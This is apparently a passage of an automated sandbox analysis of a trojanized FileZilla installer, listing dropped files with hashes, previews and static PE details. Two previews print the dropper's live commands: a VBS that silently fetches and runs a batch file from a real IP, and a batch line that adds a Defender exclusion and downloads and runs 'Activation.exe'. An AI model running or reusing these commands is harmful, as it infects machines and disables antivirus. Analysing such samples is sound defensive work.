Preview:	.PNG........IHDR.....................sBIT....\|.d.....IDAT8...Kl[E....__..S.k..l.M.R.6J.I..@A.EeY...Db.H,.;.l.`G......5.""...(I.....(..NR...#...{=."Np.P..Fs...9gF#..u...s...F.@./F..k.'..G.'..j.B.....F......T._Wm.kw1....;E8..Bk]......@.Ry..z..b....EN..&.....-. ...k7.p.xP.H).foU.\,c..l.6...)<B.k7q\|.U.e.)QJ..~......b-........k.R.^j>.]^.@$d..s..l.b....h..c.h`.....h.....=.kl..!..I.....?.:...M={.....m..+uG..)...........e....q...#..]]]...R...?....a.;5c=.{.T.e...nu...D,+.$.R...\|>?.[[.............X(.......B..........O.....<5...B......u......K./.8....s............k.;.}..<@vu....7n7.._...@.:r.h. .z..w...~.h...{......T(.m.j.ru.^.......@ ...&....t..C.........r..#Z.....R..E..8U.q ..."..@.05....?...Z.^.n..40.e...v.2.......M@..M...T...N...h...;.x..14399...m^.d6R..[..t:}w...l..o.....XZ^f!.).=p.3..6...Tn!../d2.M.wZ..hT<..PJ.J.N."%e.....T,ZJ.P.-.n...R.l:.Y...........^oUJ.h.}.:.Y..i........R...@.0.c._.U...8....5!e..5\.......p0.....;y...,....a=.....IEND.B`.

C:\Users\user\AppData\Local\FileZilla\default_sort_down_dark12x12.png

Download File

Process:	C:\Program Files (x86)\Fzilla\filezilla.exe
File Type:	PNG image data, 12 x 12, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	241
Entropy (8bit):	6.700196014606134
Encrypted:	false
SSDEEP:	6:6v/lhPIcssqRxrx1EYk7ntRgLQ0eLQ7DebBNAEup:6v/7DUv7kBRgLQ0e5bBNNc
MD5:	5B2F41923F07FBC8419D35C6021B9556
SHA1:	AEE4E3AC8941E1709C7947F0DA546026555B700E
SHA-256:	751A1DE9926BC71EC3E88A2433E14BDD2CEC9DD7BAB7068AB3574DC1EA87792C
SHA-512:	505FD486009B5F12B50E4C7ECE0FCE39D4A646A11940EFB2CEA8AA18D6C28126867406D69E1173D235A5F8B9968670A9C0ED34566502058E208E4A811BB9C956
Malicious:	false
Preview:	.PNG........IHDR.............Vu\.....sBIT....\|.d.....IDAT(...1..Q.....`..G...t...Q.<...V.$N...h.........)..F]._vE.,..bf............8u.,..*.4..=.w_.......l..<.1.C.[......GWIt.u.47...9......1.B......t....]....,.a.).....O..v......IEND.B`.

C:\Users\user\AppData\Local\FileZilla\default_sort_up_dark12x12.png

Download File

Process:	C:\Program Files (x86)\Fzilla\filezilla.exe
File Type:	PNG image data, 12 x 12, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	250
Entropy (8bit):	6.742697846748778
Encrypted:	false
SSDEEP:	6:6v/lhPIcssXAOVzZ+us5dpRgKeY5ElKLfOBaeup:6v/7Dnzkus95P5v7
MD5:	4FF09492A391A46A586C6DB49996C3AD
SHA1:	FE7DD314C91E1D975E9260D907CB9985FCEE547E
SHA-256:	1D4B776DBC96F90F4EBCBEF4E9E71C1E4543AF3DF862954D53B8E5A8E4C722EB
SHA-512:	BFFF8C81EE9120059D2388C7D8977F24FD8C8A1D8CEAEEF509734F3C08240DD7A2401EB1297054BE0B84375518DCA625B4C44DCA059453011263F46F83B9A128
Malicious:	false
Preview:	.PNG........IHDR.............Vu\.....sBIT....\|.d.....IDAT(..=..@..gWR..S....D,....x(...g.J.....>.vi.}6..n)..3S....1F.ct.....D.`g..S>K.@..Z...,m.u..L...MDz...3.).m.m.a-"..T....c......;.z`5..c "..x}....Z.^.y..;0...."...+...<.~.'.-^.D0.N....IEND.B`.

C:\Users\user\AppData\Local\FileZilla\default_speedlimits16x16.png

Download File

Process:	C:\Program Files (x86)\Fzilla\filezilla.exe
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	803
Entropy (8bit):	7.602692181010333
Encrypted:	false
SSDEEP:	24:Jr+5Bt76gnXPdf5E7B+mI4mq9mVvGUGARpIRztz:J2AB+mI4OFQztz
MD5:	EF56A56C6385B8E73B8DF483FB2B7286
SHA1:	C6E48244EAABC2F91745A996987267911B9FA242
SHA-256:	8C31386474FBFEC93A303DF0ED1B2D6029CFFD648604A1FB91A9969107D2186F
SHA-512:	218EDB3E3D8F566CA20B289BB0AD4FF667FD12C6F076F21701E07B2D5B6DAA09F4D9A35D0894D00EC46BAA709C425275B655383F0CD5A5048B1CADCEFC89AB9C
Malicious:	false
Preview:	.PNG........IHDR................a....sBIT....\|.d.....IDAT8.}..k.w..?.o.;.VB.`..r.....B+.".HC.)?....O.B..l....EPa.PJ.O6..].....m...5..t8....8....%.....>..3<......w.{R.._.v.G.^..<.....F...B.....t:.+.....V.?;.\.S..v.Rw..B._....177.5c&K.K4.....8..<...U..m...b..-.0\|B.o.........G....&4N9..L..~.VDL...............d.Z;..._O..n]....:/.^.>.NN....QX....)....X,6. .{333<9\|...K7yx.!..(J)^.....=.o..!....d2.iY.m .R^...i4.2.......1.......f.....>....:W.Q..S@...EKX.G.Q......8.C.....!5...B.o..@..d..=.f..W......R).n..a...~...gb...8......z......8..."..PHd.Y....x.x.l?..V...v.%.g.r..#....#...r...O>fmm..W...0\|.\|~.V...UQ.......R...?.....AY(.<..R.......OC....l6.'''.`.waaa!...&.HLf2.111!4M.u]..:...lnn..l6.;;;..&..A.T*.....Y.u[J9.....t<..m{e{{{..\|.x0......Q....9...3N....?....IEND.B`.

C:\Users\user\AppData\Local\FileZilla\default_synchronize20x20.png

Download File

Process:	C:\Program Files (x86)\Fzilla\filezilla.exe
File Type:	PNG image data, 20 x 20, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	823
Entropy (8bit):	7.6926478920199175
Encrypted:	false
SSDEEP:	12:6v/7gCzO+2qGfvUXjyfp7K7cNX4YT+QfXu13lGGQG+qYmY5IAiIgIKsKbJ/Peb/F:/zUXapGJYT+QqF9YmXXL+aa42
MD5:	18A1FD4D78B7875FF7A41FACDDEBABD5
SHA1:	EBBFFE12BA1CCCD8FCAA472EEB79DB08F76C56C4
SHA-256:	51ECA3CFC0917F0CB8B439AE7BF55525924A9E12083A078D8C9422B1B0B2CE47
SHA-512:	7C50FA67D970EE35223C6652255896E5E489EE615E0FC940E3D5E7B26933A9E06D9FBBFECC3AFB914D1B6E68A8B9939331E1686BCC348C9638DD4F3C9F9BAE02
Malicious:	false
Preview:	.PNG........IHDR.....................sBIT....\|.d.....IDAT8...Mh\U....}L.7...I......A......4.)(A.R.....J[(.J?..".k1.k. .ulKE......Uk:&v.$3.7.}..7.i......?.s....!d{.".:..?..z..5..eQ....J>..rvJ..n.mYV&f......._...x........a....V.H.S...8.o.G.R.T....I.y..uGY..9c..#...bY.U..^B..(.Dr.N....".........0..E...g.....2.B.s.=e.cx+.F.W...Le..'.?y...G...w.1..k.s.....5.8...Ux .E}&4....?....7..Y.0..'.!7.G7..cN....6..$.F...Zwl.G{...7..".....:.h6.?A.;..U...n.}.t...?\..7...r./O.=.p.\|......Q(.t....4p:]....._................-,%. M...;.k6....-....B.{..A../...'...9.@.a..@.i..(N=n....O....W....upd....Hm......Y...qL.$.....-t.i....V..:.._<.z..+....n.JD..}. ..o....R.....,..9QzE..#...2.g...o.>.1EeL..A.\|.....J....\...+.....K..n7.. ..y.4P.N#.(B.#..".k\....t.lS.#"o....I.. H..;`.hwD..`.....=.......2.....IEND.B`.

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	2404
Entropy (8bit):	5.412576601636678
Encrypted:	false
SSDEEP:	48:DyzWSU4fv4RYymFoUeW+gZ9tK8NPZHTR86xL7u1iMuge//8PUyu7hh:DULH3IYvKLgZ2KRHTbLOug87hh
MD5:	2E971B791A1A4F9FF636360A0022B6C9
SHA1:	FBFA538683E26DEE386C1ADA85A5FA79CC9A3ADD
SHA-256:	8B8575FB33CF951CCE67002FCC2A7CB76C5E8258A6C70E2806CDC9381E46C2BC
SHA-512:	8AFC4025A6F2D4A1683754CA8D844F53D58E3342B0DB4F29E63D5DDD0D07006A18D9900352A68197BB3C1A1BE10DF7B882911B4CA0BC345446DA4881402FCA72
Malicious:	false
Preview:	@...e.................................^..............@..........P................1]...E.....t.....(.Microsoft.PowerShell.Commands.ManagementH...............o..b~.D.poM......... .Microsoft.PowerShell.ConsoleHost0......................C.l]..7.s........System..4....................D...{..\|f........System.Core.D...............4..7..D.#V.............System.Management.Automation<................t.,.lG....M...........System.Management...@................z.U..G...5.f.1........System.DirectoryServicesL.................gQ?O.....x5.......#.Microsoft.Management.Infrastructure.<...............i..VdqF...\|...........System.Configuration4.................%...K... ...........System.Xml..8..................1...L..U;V.<}........System.Numerics.4.....................@.[8]'.\........System.Data.H................WY..2.M.&..g(g........Microsoft.PowerShell.Security...<...............V.}...@...i...........System.Transactions.P...............8..{...@.e..."4.......%.Microsoft.PowerShell.Com

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_jdti1sy4.jix.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_k1ysu0kx.x54.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_r02lpz1e.10w.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_yip3n0t2.n03.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp

Download File

Process:	C:\Users\user\Desktop\rukT6hBo6P.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3366912
Entropy (8bit):	6.530551345290394
Encrypted:	false
SSDEEP:	98304:nJYVM+LtVt3P/KuG2ONG9iqLRQE9333T:2VL/tnHGYiql5F
MD5:	2148201238CF25C0F9A90442D38D82AC
SHA1:	F49A1B144DFCE671F3CCE3F4E9F233635E12FC5A
SHA-256:	32C136F8180EEA9373255ADC3EBC8F26A9ADB0F350D5F931C4BD9E05A3226E0D
SHA-512:	9469593C712FF6C97D7D487060810D1947C2F6956C3A5AD8898B6F74F2453D7790D5A1542EF67253252C3E429A376F343E1D7D76FE33DBD106C09D72C0CEF11B
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L.....f.......................................@..........................04...........@......@...................P,.n.....,.j:...P0.......................,.<............................p,.......................,......@,.(....................text............................. ..`.itext..$.......0................. ..`.data................*.............@....bss.....\|....+..........................idata..j:....,..<...f+.............@....didata.(....@,.......+.............@....edata..n....P,.......+.............@..@.tls....X....`,..........................rdata..]....p,.......+.............@..@.reloc..<.....,.......+.............@..B.rsrc........P0......./.............@..@.............04......`3.............@..@................

C:\Users\user\AppData\Local\Temp\is-MV7F6.tmp\_isetup\_setup64.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	6144
Entropy (8bit):	4.720366600008286
Encrypted:	false
SSDEEP:	96:sfkcXegaJ/ZAYNzcld1xaX12p+gt1sONA0:sfJEVYlvxaX12C6A0
MD5:	E4211D6D009757C078A9FAC7FF4F03D4
SHA1:	019CD56BA687D39D12D4B13991C9A42EA6BA03DA
SHA-256:	388A796580234EFC95F3B1C70AD4CB44BFDDC7BA0F9203BF4902B9929B136F95
SHA-512:	17257F15D843E88BB78ADCFB48184B8CE22109CC2C99E709432728A392AFAE7B808ED32289BA397207172DE990A354F15C2459B6797317DA8EA18B040C85787E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......^...............l...............=\......=\......=\......Rich............................PE..d.....R..........#............................@.............................`.......,......................................................<!.......P..H....@..0.................................................................... ...............................text............................... ..`.rdata..\|.... ......................@..@.data...,....0......................@....pdata..0....@......................@..@.rsrc...H....P......................@..@................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\is-MV7F6.tmp\edcf12dd-a024-4e17-9ac8-333ede06915f.vbs (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	191
Entropy (8bit):	5.096591606121397
Encrypted:	false
SSDEEP:	3:jaPFEm8nh3QBfBwarjTRFBXsx71/AAkPqBXsx71/AAmjZM:j6Nqh8fBNrj9F9CJAAkPq9CJAAb
MD5:	446EADD0ECCC81F90BBFE7E0FC098F27
SHA1:	21789641B09BABB9140BAB582126B24E3AB56FFA
SHA-256:	62F06AE2DDBB082BA6A68E2F37CB0E8863DA6576D2BBB77C16B4894BB0CD66A1
SHA-512:	474745FD0EB972FA8C6AFE158AFA8743A58326AE22F8313955A2ED217917877793C680744B34434F0B02CA15E4C3F7B5E3A557311F902B7E353BDE53D0B47413
Malicious:	false
Preview:	Set WshShell = CreateObject("WScript.Shell")..WshShell.Run "cmd /c curl -O http://45.200.148.86/edcf12dd-a024-4e17-9ac8-333ede06915f.bat && edcf12dd-a024-4e17-9ac8-333ede06915f.bat", 0, False

C:\Users\user\AppData\Local\Temp\is-MV7F6.tmp\is-3O6PJ.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	191
Entropy (8bit):	5.096591606121397
Encrypted:	false
SSDEEP:	3:jaPFEm8nh3QBfBwarjTRFBXsx71/AAkPqBXsx71/AAmjZM:j6Nqh8fBNrj9F9CJAAkPq9CJAAb
MD5:	446EADD0ECCC81F90BBFE7E0FC098F27
SHA1:	21789641B09BABB9140BAB582126B24E3AB56FFA
SHA-256:	62F06AE2DDBB082BA6A68E2F37CB0E8863DA6576D2BBB77C16B4894BB0CD66A1
SHA-512:	474745FD0EB972FA8C6AFE158AFA8743A58326AE22F8313955A2ED217917877793C680744B34434F0B02CA15E4C3F7B5E3A557311F902B7E353BDE53D0B47413
Malicious:	false
Preview:	Set WshShell = CreateObject("WScript.Shell")..WshShell.Run "cmd /c curl -O http://45.200.148.86/edcf12dd-a024-4e17-9ac8-333ede06915f.bat && edcf12dd-a024-4e17-9ac8-333ede06915f.bat", 0, False

C:\Users\user\AppData\Roaming\FileZilla\filezilla.xml

Download File

Process:	C:\Program Files (x86)\Fzilla\filezilla.exe
File Type:	XML 1.0 document, ASCII text
Category:	dropped
Size (bytes):	7367
Entropy (8bit):	4.8324999178223225
Encrypted:	false
SSDEEP:	96:Ir5AXXa8Yw3Sbpf301EzlK7KXArCfHpC4sEkDM:48YwWW1Eg7pC0jDM
MD5:	286072C8FA0A8966C8267262C18226D9
SHA1:	ED8128879DA18828DB918077F10652CF58A0411B
SHA-256:	A222E6967338A08BAACCDC84D6A3B636F34644843434B00162FE640A7EA89B2C
SHA-512:	CB7044231013D33F0D77C7A7E8B57C53F0831AD627A7CA460B2DD9F946465A863C0F4E8C766563C975361255287683506E5B68BE85A9950767D195D55E9E7DA3
Malicious:	true
Preview:	<?xml version="1.0" encoding="UTF-8"?>.<FileZilla3 version="3.67.1" platform="windows">..<Settings>...<Setting name="Use Pasv mode">1</Setting>...<Setting name="Limit local ports">0</Setting>...<Setting name="Limit ports low">6000</Setting>...<Setting name="Limit ports high">7000</Setting>...<Setting name="Limit ports offset">0</Setting>...<Setting name="External IP mode">0</Setting>...<Setting name="External IP"></Setting>...<Setting name="External address resolver">http://ip.filezilla-project.org/ip.php</Setting>...<Setting name="Last resolved IP"></Setting>...<Setting name="No external ip on local conn">1</Setting>...<Setting name="Pasv reply fallback mode">0</Setting>...<Setting name="Timeout">20</Setting>...<Setting name="Logging Debug Level">0</Setting>...<Setting name="Logging Raw Listing">0</Setting>...<Setting name="Allow transfermode fallback">1</Setting>...<Setting name="Reconnect count">2</Setting>...<Setting name="Reconnect delay">5</Setting>...<Setting name="Enable speed

C:\Users\user\AppData\Roaming\FileZilla\filezilla.xml~

Download File

Process:	C:\Program Files (x86)\Fzilla\filezilla.exe
File Type:	XML 1.0 document, ASCII text
Category:	dropped
Size (bytes):	7342
Entropy (8bit):	4.817138247677335
Encrypted:	false
SSDEEP:	96:Ir5AXXa8Yw3Hbpf301UzlK7KXArCfHpC4sEdzM:48YwrW1Ug7pC0gzM
MD5:	EBC6942CB763E550BB57B53838A49EC9
SHA1:	3EEB50E590A6FBC8FA6C16E14F693A8C09EE979E
SHA-256:	70A1A54D97368A0B46FCB1151F05658A1B3934A8A0615D9F157A4DF4B2E7767F
SHA-512:	7BCE0EDA3025DA2FE77F422F15D617CC1798B772D87D3969AEC68D78A214F7C571226E94D529B23917B801CE0D6CAA928CEA5B914032197BF4EE3A7B4073CBB7
Malicious:	true
Preview:	<?xml version="1.0" encoding="UTF-8"?>.<FileZilla3 version="3.67.1" platform="windows">..<Settings>...<Setting name="Use Pasv mode">1</Setting>...<Setting name="Limit local ports">0</Setting>...<Setting name="Limit ports low">6000</Setting>...<Setting name="Limit ports high">7000</Setting>...<Setting name="Limit ports offset">0</Setting>...<Setting name="External IP mode">0</Setting>...<Setting name="External IP"></Setting>...<Setting name="External address resolver">http://ip.filezilla-project.org/ip.php</Setting>...<Setting name="Last resolved IP"></Setting>...<Setting name="No external ip on local conn">1</Setting>...<Setting name="Pasv reply fallback mode">0</Setting>...<Setting name="Timeout">20</Setting>...<Setting name="Logging Debug Level">0</Setting>...<Setting name="Logging Raw Listing">0</Setting>...<Setting name="Allow transfermode fallback">1</Setting>...<Setting name="Reconnect count">2</Setting>...<Setting name="Reconnect delay">5</Setting>...<Setting name="Enable speed

C:\Users\user\AppData\Roaming\FileZilla\layout.xml

Download File

Process:	C:\Program Files (x86)\Fzilla\filezilla.exe
File Type:	XML 1.0 document, ASCII text
Category:	dropped
Size (bytes):	325
Entropy (8bit):	5.32633848248178
Encrypted:	false
SSDEEP:	6:TMVBd//gKXWmdo3KHFBk/VGWF3mQlsBcMIMU9IkL0d/0FwGW0TIKe:TMHd3gWwcwdGWNnlHMIQ2j2GtIh
MD5:	CD9E4F1199A3380CDB17EF0331527758
SHA1:	6A74F49A6B77BCFE5DDDC7023C5A65C6F2EA22DC
SHA-256:	8E32957F949B53BAA96797A67E0F2BE17EB1181334957C1413B521A8A770BDC2
SHA-512:	76ED485F83461C582A2A8889E86A382009B44F976004B22DAF8842A8FF4B5AE56D8B9527753262D56B29304C5636DCE40EF7A6B3AA0D1C015112AA2DA19B152F
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8"?>.<FileZilla3 version="3.67.1" platform="windows">..<Layout Builddate="2024-07-15" Buildtime="08:01:34">...<Resources />...<Language id="en_CH" date="1721059362">....<Font font="1;9;-12;0;0;0;400;0;0;0;1;0;0;0;0;Segoe UI" width="669" height="15" />...</Language>..</Layout>.</FileZilla3>.

C:\Users\user\AppData\Roaming\FileZilla\queue.sqlite3

Download File

Process:	C:\Program Files (x86)\Fzilla\filezilla.exe
File Type:	SQLite 3.x database, user version 8, last written using SQLite version 3039004, file counter 6, database pages 7, cookie 0x5, schema 4, UTF-16 little endian, version-valid-for 6
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.48999707030681416
Encrypted:	false
SSDEEP:	48:T8uBbYfrEabbxBMTL9bPlS7VrWB3IWt5KRY3kgb6Zjdjai10:vox8ZdS65IYfiN
MD5:	814062819B4AEF158A726D9D50142008
SHA1:	89B2DD043B91DA59E203C912D163DCC28F731B55
SHA-256:	CA62AC5062DA0659D8E6FCA164A102D2D9F9EF8C4D461FCE5459560B4C30270E
SHA-512:	776302892433801A9B77205616284F0499D0699E76C6AC5158EAD526C9DEF49B59218166E99836FDC0CEAF717BCC47011CF9F34115D4EEBA422FC2EE7E12FE7C
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\FileZilla\queue.sqlite3-journal

Download File

Process:	C:\Program Files (x86)\Fzilla\filezilla.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	4616
Entropy (8bit):	2.101263954755992
Encrypted:	false
SSDEEP:	48:7MGqlfrEabbxBMTL9bPlS7VrWB3IWt5KRY3kgb6Zjdjai10T:7Lex8ZdS65IYfiNK
MD5:	7B540206CE5683650F5ECD63B6B96DFE
SHA1:	D66CD747F898D4014102F1A0E2B46EE7D0A6D875
SHA-256:	25D4F8D1B1181BD79BD1A4FA9F7AE34C39D6472987B3BAF60A18C72C907D49BE
SHA-512:	38B98562B11586A3619AAF7A99A6EB5929ED39F588BE415A568B9822C383C799DE073CD42B68CB8E1DB1BD76B8526DD2105CB196C19F9E3A6E812565080708A8
Malicious:	false
Preview:	.... .c......E......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................SQLite format 3......@ .........................................................................._.................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\SysWOW64\edcf12dd-a024-4e17-9ac8-333ede06915f.bat

Download File

Process:	C:\Windows\SysWOW64\curl.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	208
Entropy (8bit):	5.1601010012380515
Encrypted:	false
SSDEEP:	6:dgB81xfteGgdEY+H/qxHGOtLh8XZI/8yfbs/QbGh/Q4Q:W81eurKGGrTsIboIn
MD5:	F74352D968EBE606FCC81A9D827E5CCF
SHA1:	1D6B0838EF4E437998B11EA7C15691E483D7B9D6
SHA-256:	C185695A5C260E4C77FE5A0999CE23F9A3EA45F89B15003A18E8C3052E75BEB6
SHA-512:	B8CF2B1D9FD7B4C2557918D05B89CC179F60849C6959DCEFD92A26619C4AF53CD5DEB13BCA6B9028AF1934628626A3F0D27C463F38D4F73F5E1AEDC37C080178
Malicious:	false
Preview:	:main..powershell -WindowStyle hidden Add-MpPreference -ExclusionPath $env:LOCALAPPDATA;cd $env:LOCALAPPDATA;Invoke-WebRequest http://45.200.148.86/Activation.exe -OutFile Activation.exe;./Activation.exe;exit

C:\Windows\appcompat\Programs\Amcache.hve

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.296010629817839
Encrypted:	false
SSDEEP:	6144:L41fWRYkg7Di2vXoy00lWZgiWaaKxC44Q0NbuDs+ujmBMZJh1Vjw:k1/YCW2AoQ0NiAjwMHrVM
MD5:	E3AE816FBB044246F28D93D9AEBEB6DF
SHA1:	27A3DD29E1FA99901D7510663CB9AC7C7FD78005
SHA-256:	85D282699DCCCAF79C0874FAC111F43BD13F27C15EA38907E4F97BFA1584CA81
SHA-512:	6CE655AF7FC14241A00BCF8B2ECF08F258D222EE6F2E68907EF1C47EE0FB44439B52D18A589AF345DC099C82FEC7F526D263387522586C5F8AF0ADCB46FAE579
Malicious:	false
Preview:	regfG...G....\.Z.................... ....`......\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtm...VF..............................................................................................................................................................................................................................................................................................................................................j..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

\Device\ConDrv

Download File

Process:	C:\Windows\SysWOW64\curl.exe
File Type:	ASCII text, with CR, LF line terminators
Category:	dropped
Size (bytes):	399
Entropy (8bit):	3.0551641824100484
Encrypted:	false
SSDEEP:	6:I2swj2SAykymUeg/8Uni1qSgOgcdivIdTGIco:Vz6ykymUexb1U9cddLco
MD5:	2D83AEAE58A656A8E3A30B7DF3F8B1A5
SHA1:	FB7636E03FC98AE6093D9CE9DB15F901A2920079
SHA-256:	F05DB95C6999453435C32394A624AC6979DC4A01440E0FBBDCB1CA769F83D1B3
SHA-512:	C15ACC2FDB858A7D96CEDFEFEBF6347BE5AC517FD234FD45B5D9B5C0889AF04E0850D270B9BA265FDA1A8BE6597685C32A1D41CF71B31EF0E352EA80CD49CCB1
Malicious:	false
Preview:	% Total % Received % Xferd Average Speed Time Time Time Current.. Dload Upload Total Spent Left Speed... 0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0. 0 0 0 0 0 0 0 0 --:--:-- 0:00:01 --:--:-- 0.100 208 100 208 0 0 119 0 0:00:01 0:00:01 --:--:-- 120..

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.980882500731218
TrID:	Win32 Executable (generic) a (10002005/4) 98.04% Inno Setup installer (109748/4) 1.08% InstallShield setup (43055/19) 0.42% Win32 EXE PECompact compressed (generic) (41571/9) 0.41% Win16/32 Executable Delphi generic (2074/23) 0.02%
File name:	rukT6hBo6P.exe
File size:	13'585'067 bytes
MD5:	59671c9ea5e5ccd0edd62d4eb3acdfe0
SHA1:	ee3cb7f16105ca3532f7382d4cd27f5d2d7e225f
SHA256:	db4ee2642140bd5f08d630af7ad59e0a3a24d46e20cae3fed455c8d0681016e4
SHA512:	8fbaa1747c8acf1cc54a32a204bfc92ad9ba76f270a4801d3ad0217794957194afc88c04dcda28e5835628888cb37e67fafe844c5f20ebfe5cb5ba75efa32f9e
SSDEEP:	393216:lEYaJSkzxe6bBm7R1gUiIk/VGzvSyjE+aUVEf9UaWPdzpJ:ejJZFe68zAG5jEA+FWVv
TLSH:	00D62323F2C7E03DE05A0B3705B2A15895FB3A556822AD5396ECB4ECCF315602D3E697
File Content Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7.......................................................................................................................................

File Icon


Icon Hash:	0c0c2d33ceec80aa

Static PE Info

General

Entrypoint:	0x4a83bc
Entrypoint Section:	.itext
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x6690DABD [Fri Jul 12 07:26:53 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	1
File Version Major:	6
File Version Minor:	1
Subsystem Version Major:	6
Subsystem Version Minor:	1
Import Hash:	40ab50289f7ef5fae60801f88d4541fc

Entrypoint Preview

Instruction
push ebp
mov ebp, esp
add esp, FFFFFFA4h
push ebx
push esi
push edi
xor eax, eax
mov dword ptr [ebp-3Ch], eax
mov dword ptr [ebp-40h], eax
mov dword ptr [ebp-5Ch], eax
mov dword ptr [ebp-30h], eax
